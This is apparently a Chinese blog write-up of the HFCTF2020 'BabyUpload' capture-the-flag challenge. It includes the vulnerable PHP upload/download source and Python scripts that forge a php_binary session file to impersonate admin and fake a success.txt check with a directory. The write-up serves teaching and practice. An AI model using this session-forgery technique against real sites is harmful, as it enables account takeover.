[HFCTF2020]BabyUpload

发布于 2022-08-29  10 次阅读


[HFCTF2020]BabyUpload

题目源码

 <?php
error_reporting(0);
session_save_path("/var/babyctf/");
session_start();
require_once "/flag";
highlight_file(__FILE__);
if($_SESSION['username'] ==='admin')
{
    $filename='/var/babyctf/success.txt';
    if(file_exists($filename)){
            safe_delete($filename);
            die($flag);
    }
}
else{
    $_SESSION['username'] ='guest';
}
$direction = filter_input(INPUT_POST, 'direction');
$attr = filter_input(INPUT_POST, 'attr');
$dir_path = "/var/babyctf/".$attr;
if($attr==="private"){
    $dir_path .= "/".$_SESSION['username'];
}
if($direction === "upload"){
    try{
        if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){
            throw new RuntimeException('invalid upload');
        }
        $file_path = $dir_path."/".$_FILES['up_file']['name'];
        $file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);
        if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
            throw new RuntimeException('invalid file path');
        }
        @mkdir($dir_path, 0700, TRUE);
        if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){
            $upload_result = "uploaded";
        }else{
            throw new RuntimeException('error while saving');
        }
    } catch (RuntimeException $e) {
        $upload_result = $e->getMessage();
    }
} elseif ($direction === "download") {
    try{
        $filename = basename(filter_input(INPUT_POST, 'filename'));
        $file_path = $dir_path."/".$filename;
        if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
            throw new RuntimeException('invalid file path');
        }
        if(!file_exists($file_path)) {
            throw new RuntimeException('file not exist');
        }
        header('Content-Type: application/force-download');
        header('Content-Length: '.filesize($file_path));
        header('Content-Disposition: attachment; filename="'.substr($filename, 0, -65).'"');
        if(readfile($file_path)){
            $download_result = "downloaded";
        }else{
            throw new RuntimeException('error while saving');
        }
    } catch (RuntimeException $e) {
        $download_result = $e->getMessage();
    }
    exit;
}
?>

首先分析源码

error_reporting(0);
session_save_path("/var/babyctf/");
session_start();
require_once "/flag";	

设置session的存储路径,启动了session而且包含了根目录下的flag

if($_SESSION['username'] ==='admin')
{
    $filename='/var/babyctf/success.txt';
    if(file_exists($filename)){
            safe_delete($filename);
            die($flag);
    }
}
else{
    $_SESSION['username'] ='guest';
}

判断如果session的username的值是admin的话就判断session存储路径下有没有success.txt。如果有的话就出flag,

否则的话session的username设置为guest。

$direction = filter_input(INPUT_POST, 'direction');
$attr = filter_input(INPUT_POST, 'attr');
$dir_path = "/var/babyctf/".$attr;
if($attr==="private"){
    $dir_path .= "/".$_SESSION['username'];
}

两个参数通过filter_input协议,然后通过拼接,然后作为session的存储地址

if($direction === "upload"){
    try{
        if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){
            throw new RuntimeException('invalid upload');
        }
        $file_path = $dir_path."/".$_FILES['up_file']['name'];
        $file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);
        if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
            throw new RuntimeException('invalid file path');
        }
        @mkdir($dir_path, 0700, TRUE);
        if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){
            $upload_result = "uploaded";
        }else{
            throw new RuntimeException('error while saving');
        }
    } catch (RuntimeException $e) {
        $upload_result = $e->getMessage();
    }
}	

如果direction设置为upload,首先判断是否正常上传,通过则在$dir_path下拼接文件名,之后再拼接一个_,同时加上文件名的sha256值,之后限制目录穿越,创建相应目录,把文件上传到目录下。

elseif ($direction === "download") {
    try{
        $filename = basename(filter_input(INPUT_POST, 'filename'));
        $file_path = $dir_path."/".$filename;
        if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
            throw new RuntimeException('invalid file path');
        }
        if(!file_exists($file_path)) {
            throw new RuntimeException('file not exist');
        }
        header('Content-Type: application/force-download');
        header('Content-Length: '.filesize($file_path));
        header('Content-Disposition: attachment; filename="'.substr($filename, 0, -65).'"');
        if(readfile($file_path)){
            $download_result = "downloaded";
        }else{
            throw new RuntimeException('error while saving');
        }
    } catch (RuntimeException $e) {
        $download_result = $e->getMessage();
    }
    exit;
}

若direction设置为download,读取上传上来的文件名,拼接为$file_path,限制目录穿越,判断是否存在,存在则返回文件内容。

解题思路

首先,拿到flag的条件是:

  • 存在success.txt
  • 必须以session的username为admin来登陆。

session反序列化

首先看自己的session的值,根据session命名原则,上传post

image-20220822115903372

direction=download&attr=&filename=sess_1052c239c317b686232626f592e7affd

image-20220822121038403

看到回显,但是前面有个不可见字符,这个和session的反序列化机制有关

参考链接:https://blog.spoock.com/2016/10/16/php-serialize-problem/

php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
php:存储方式是,键名+竖线+经过serialize()函数序列处理的值
php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值

可以知道这个这里session处理器为php_binary。

最简单的办法就是直接根据反序列化的编码,来修改一下就行了。

image-20220822130306962

image-20220822131733049

然后根据命名规则,改一下名字为sess,上传上去之后,文件名会变成sess_sha256(\x08usernames:5:"admin";)

也就是sess_432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4

下面直接写一个python脚本上传

from io import BytesIO
import requests
 
url = 'http://5cccf25a-3090-4b27-aa5f-4e20f9e8b889.node4.buuoj.cn:81/'

files = {"up_file": ("sess", BytesIO('\x08usernames:5:"admin";'.encode('utf-8')))}
data = {
    'direction':'upload',
    'attr':''
}
res = requests.post(url, data=data ,files=files)

print(res.text)

再下载发现上传成功了

image-20220822134752000

上传success.txt

filename是通过file_exists来判断的,而file_exists函数在php中
在这里插入图片描述
文件名设置不了,直接创建目录也符合条件,将attr设置为success.txt创建目录,再将sess上传到该目录下即可绕过判断

还是用那个脚本,只不过将attr设置为success.txt即可

from io import BytesIO
import requests
 
url = 'http://5cccf25a-3090-4b27-aa5f-4e20f9e8b889.node4.buuoj.cn:81/'

files = {"up_file": ("sess", BytesIO('\x08usernames:5:"admin";'.encode('utf-8')))}
data = {
    'direction':'upload',
    'attr':'success.txt'
}
res = requests.post(url, data=data ,files=files)

print(res.text)

再验证上传是否成功

image-20220822135155738

最后修改session再成432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4然后访问即可


“缘分让我们相遇乱世以外,命运却让我们危难中相爱”